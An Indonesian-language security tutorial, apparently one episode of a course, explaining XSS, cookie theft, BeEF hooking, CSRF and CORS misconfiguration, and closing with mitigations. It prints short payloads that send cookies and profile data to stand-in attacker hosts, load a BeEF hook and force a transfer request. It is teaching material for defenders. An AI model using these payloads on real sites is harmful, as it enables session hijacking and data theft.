Belajar Cyber Security - XSS, CSRF & CORS Misconfiguration

#Pendahuluan

Di episode 11 kita menyerang server — bagaimana input dijalankan di sisi server. Sekarang kita menyerang sisi client dan kepercayaan browser: XSS, CSRF, dan misconfiguration CORS. Ini berbeda dimensi: alih-alih mengeksekusi kode di server, kita mengeksekusi kode di browser korban atau membujuk browser melakukan aksi tanpa sadar.

Mengapa ini penting? Karena XSS adalah salah satu kerentanan paling banyak ditemukan (masuk tiga besar dalam banyak survei), dan dampaknya sering diremehkan: dari mencuri session, membajak akun admin, sampai menginfeksi pengunjung massal dengan malware. CSRF dan CORS melengkapi gambaran "siapa yang boleh melakukan apa di browser siapa".

#XSS: Memasukkan JavaScript ke Halaman

XSS terjadi ketika input user dirender sebagai HTML/JavaScript oleh browser. Tiga jenis utama:

#Reflected XSS

Payload datang di request (parameter) dan langsung "dipantulkan" ke respons tanpa disimpan:

http://target.com/search?q=<script>alert(document.domain)</script>

Jika halaman hasil pencarian menampilkan q tanpa encoding, script jalan. Nama "reflected" karena tidak disimpan di server — dikirim via link berbahaya ke korban.

#Stored XSS

Payload disimpan di server (komentar, profil, nama) dan dirender untuk semua pengunjung. Ini yang paling berbahaya — satu komentar jahat bisa menginfeksi ribuan pengguna:

<script>
    fetch('http://attacker.com/steal?cookie=' + document.cookie)
</script>

#DOM-Based XSS

Kerentanan yang terjadi sepenuhnya di JavaScript client — payload tidak pernah sampai server. Data diambil dari location atau document dan ditulis ke DOM tanpa sanitasi:

Kode rentan DOM XSS

const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Halo, ' + name;

#Dampak: Cookie Theft dan Session Hijacking

Serangan XSS paling umum mencuri cookie session. Karena cookie dibaca JavaScript (hanya mungkin jika tidak HttpOnly), payload mengirimnya ke server penyerang:

<script>fetch('http://attacker:8080/c?c='+document.cookie)</script>

Penyerang lalu mereplay cookie itu di browser sendiri — masuk sebagai korban tanpa tahu password. Inilah alasan kenapa cookie harus HttpOnly (dari episode 10).

#BeEF: Browser Exploitation Framework

BeEF memanfaatkan browser korban yang "ter-hook" oleh XSS sebagai sarang serangan:

<script src="http://attacker:3000/hook.js"></script>

Begitu korban membuka halaman dengan payload ini, browser korban terhubung ke server BeEF dan menunggu perintah — dari keylogging, screenshot, sampai memanfaatkan kerentanan browser.

#CSRF: Aksi Tanpa Sepengetahuan Korban

CSRF (Cross-Site Request Forgery) mengeksploitasi fakta bahwa browser mengirim cookie secara otomatis. Jika korban sedang login ke target.com, situs jahat bisa membuat request POST ke target.com yang memakai cookie itu tanpa korban sadar:

<img src="http://target.com/transfer?to=attacker&amount=1000">

#CSRF Token

Mitigasi utama CSRF adalah CSRF token: nilai acak yang harus dikirim dalam request, tidak mungkin ditebak situs jahat. Kerentanan muncul saat token tidak ada, token statis, atau tidak divalidasi. Uji dengan menghapus/mengganti token dari request di Burp Repeater — jika aksi tetap berhasil, CSRF masih mungkin.

#CORS Misconfiguration

CORS (dari episode 10) menentukan domain mana yang boleh membaca respons. Misconfiguration paling umum:

Access-Control-Allow-Origin: *      -> siapa pun bisa baca
Access-Control-Allow-Origin: null   -> iframe/origin aneh bisa akses
Refleksi origin sembarangan           -> attacker.com ikut diizinkan

Eksploitasi khas: situs jahat membuat request dengan header Origin: https://evil.com; jika server merefleksikannya di Access-Control-Allow-Origin tanpa validasi domain, browser mengizinkan evil.com membaca respons berisi data sensitif:

Eksploitasi CORS

fetch('http://target.com/api/profile', { credentials: 'include' })
    .then(r => r.json())
    .then(data => fetch('http://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data) }))

#Mitigasi Ringkas

• XSS: output encoding pada semua data user, CSP yang ketat, cookie HttpOnly, sanitasi input pada penyimpanan.
• CSRF: token CSRF per-session, SameSite cookie.
• CORS: whitelist origin yang eksplisit, jangan pernah refleksi origin atau null.

#Penutup

Pada episode 12 ini, kalian telah menguasai serangan terhadap sisi client.

Inti yang harus dibawa pulang:

• Reflected/Stored/DOM XSS: cara input dirender menentukan jenis dan dampaknya.
• XSS membuka cookie theft & session hijacking; BeEF memanfaatkan browser korban lebih jauh.
• CSRF memanfaatkan cookie otomatis browser; token CSRF adalah penawarnya.
• CORS misconfiguration membuka respons untuk situs jahat — bedakan dengan CSRF.

Di episode 13 selanjutnya kita membahas SSRF, XXE, dan file vulnerabilities — server-side request forgery menuju akses jaringan internal dan cloud metadata, XXE via XML entity, file upload berbahaya, serta path traversal LFI/RFI. Sampai jumpa di episode 13!